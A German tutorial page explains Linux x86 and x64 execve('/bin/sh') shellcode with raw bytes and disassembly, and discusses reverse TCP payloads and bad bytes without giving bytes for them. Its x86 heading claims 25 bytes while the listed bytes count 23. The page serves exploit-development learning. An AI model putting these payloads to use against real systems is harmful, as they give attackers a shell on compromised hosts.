Skip to content
shellcodes

Shellcode-Beispiele: Linux x86 und x64, Byte für Byte

Kommentierte Shellcode-Beispiele für Linux x86 und x64 — execve /bin/sh und Reverse TCP — mit den Bytes, der Disassemblierung und den Fallstricken.

Veröffentlicht am 2 Min. Lesezeit

Der schnellste Weg, Shellcode zu verstehen, ist, ihn zu lesen. Unten stehen funktionierende Beispiele mit den Bytes und der Erklärung jedes Teils. Neu im Thema? Beginne mit Was Shellcode ist.

execve("/bin/sh") — Linux x86 (25 Bytes)

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

Disassembliert:

xor eax, eax        ; eax = 0, also a clean NUL source
push eax            ; null-terminate the string
push 0x68732f2f     ; "//sh"
push 0x6e69622f     ; "/bin"
mov ebx, esp        ; ebx -> "/bin//sh"
push eax            ; argv null
push ebx            ; argv[0]
mov ecx, esp        ; ecx -> argv
mov al, 0x0b        ; syscall 11 = execve
int 0x80

Beachte das // in /bin//sh: Es füllt den String auf eine 4-Byte-Grenze auf, und der Kernel behandelt doppelte Slashes als einen. Ein kleiner Trick, der die Pushes ausgerichtet hält, ohne ein Null-Byte zu erzeugen.

execve("/bin/sh") — Linux x64 (31 Bytes)

\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05

x64 ändert die Aufrufkonvention: Argumente gehen in rdi, rsi, rdx, die Syscall-Nummer in rax (59 = execve), und du nutzt die syscall-Instruktion statt int 0x80.

Reverse TCP

Reverse-TCP-Beispiele sind größer, weil sie Listener-IP und -Port in einer sockaddr-Struct einbetten — genau dort, wo sich Bad Bytes gerne verstecken. Ein IP-Oktett von 0 oder ein Port, der sich zu einem verbotenen Byte kodiert, beschädigt die Verbindungsdetails still und leise, sodass der Payload zwar läuft, aber nie nach Hause telefoniert. Statt einen brüchigen Blob einzufügen, erzeuge einen für deinen eigenen Listener und inspiziere ihn. Den Lab-Ablauf findest du in der Reverse-TCP-Checkliste.

Warum dasselbe Beispiel auf deiner Maschine scheitern kann

Ein funktionierendes Beispiel ist nicht automatisch portabel. Syscall-Nummern unterscheiden sich zwischen x86 und x64, die Instruktion int 0x80 gegenüber syscall unterscheidet sich, und ein für ein Bad-Char-Set abgestimmter Payload kann Bytes tragen, die dein Auslieferungspfad verbietet. Wenn ein bekannt-gutes Beispiel scheitert, verdächtige die Umgebung — Architektur, Auslieferungs-Constraints, Kodierung — bevor du die Logik verdächtigst.

Eigene Varianten erzeugen

Statische Beispiele sind zum Lernen. Für eine Engagement willst du Bytes, die auf Zielarchitektur, Format und Bad-Char-Set abgestimmt sind. Baue und kodiere sie im Shellcodes-Builder und disassembliere dann, um zu bestätigen, dass sie tun, was du denkst.

Verwandte Artikel

Wie Linux-Shellcode funktioniert — Syscalls, Register und positionsunabhängiger Code — und wie man ihn sicher assembliert, kodiert und testet.
Rohe Shellcode-Bytes zurück in Assembly verwandeln — Hex- und Escape-Formate dekodieren, mit Capstone disassemblieren und Bad Chars finden, bevor du ihn ausführst.
Wege zum Erzeugen von Shellcode im Vergleich — msfvenom, handgeschriebenes Assembly und ein browserbasierter Generator — mit den Abwägungen und wann man welchen nutzt.